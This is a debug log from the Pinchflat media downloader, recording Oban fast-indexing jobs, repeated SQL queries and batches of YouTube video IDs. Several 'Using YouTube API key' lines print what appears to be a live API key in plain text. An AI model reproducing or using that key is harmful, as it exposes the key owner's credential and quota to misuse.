"llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", "vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 16:06:38.837 [debug] QUERY OK source="media_items" db=0.3ms idle=129.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 16:06:38.838 [debug] QUERY OK source="tasks" db=0.1ms idle=130.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799894, 20, ~U[2026-02-10 22:06:38Z], ~U[2026-02-10 22:06:38Z]] 16:06:38.838 [info] {"args":{"id":20},"id":3799855,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":131755,"event":"job:stop","queue_time":539586,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:57.770 [info] {"source":"oban","duration":10170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.997 [info] {"source":"oban","duration":147,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:07:02.732 [info] {"args":{"id":15},"id":3799856,"meta":{},"system_time":1770761222732783350,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:02.732 [info] {"args":{"id":42},"id":3799857,"meta":{},"system_time":1770761222732825638,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:02.733 [debug] QUERY OK source="sources" db=0.1ms idle=1008.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 16:07:02.733 [debug] QUERY OK source="sources" db=0.2ms idle=854.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 16:07:02.733 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:02.733 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:02.733 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:02.733 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 16:07:02.733 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:02.733 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:02.734 [debug] QUERY OK source="settings" db=1.1ms idle=854.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:02.734 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:02.734 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:02.734 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 16:07:02.734 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:02.734 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:02.799 [debug] QUERY OK source="media_items" db=0.3ms idle=65.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 16:07:02.800 [debug] QUERY OK source="media_items" db=0.3ms idle=65.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 16:07:02.801 [debug] QUERY OK source="tasks" db=0.1ms idle=66.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799895, 42, ~U[2026-02-10 22:07:02Z], ~U[2026-02-10 22:07:02Z]] 16:07:02.801 [info] {"args":{"id":42},"id":3799857,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":68667,"event":"job:stop","queue_time":444789,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:02.807 [info] {"args":{"id":22},"id":3799858,"meta":{},"system_time":1770761222807673795,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:02.807 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 16:07:02.808 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:02.808 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:02.808 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:02.808 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 16:07:02.808 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:02.808 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:02.943 [debug] QUERY OK source="media_items" db=0.7ms idle=134.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 16:07:02.944 [debug] QUERY OK source="media_items" db=0.3ms idle=135.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 16:07:02.944 [debug] QUERY OK source="tasks" db=0.1ms idle=136.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799896, 15, ~U[2026-02-10 22:07:02Z], ~U[2026-02-10 22:07:02Z]] 16:07:02.945 [info] {"args":{"id":15},"id":3799856,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":212088,"event":"job:stop","queue_time":524131,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:02.950 [info] {"args":{"id":13},"id":3799859,"meta":{},"system_time":1770761222950745514,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:02.950 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 16:07:02.951 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:02.951 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:02.951 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:02.951 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 16:07:02.951 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:02.951 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:03.044 [debug] QUERY OK source="media_items" db=0.6ms idle=92.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 16:07:03.045 [debug] QUERY OK source="media_items" db=0.3ms idle=94.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 16:07:03.046 [debug] QUERY OK source="tasks" db=0.1ms idle=94.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799897, 22, ~U[2026-02-10 22:07:03Z], ~U[2026-02-10 22:07:03Z]] 16:07:03.046 [info] {"args":{"id":22},"id":3799858,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":238953,"event":"job:stop","queue_time":440024,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:03.143 [debug] QUERY OK source="media_items" db=0.6ms idle=96.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 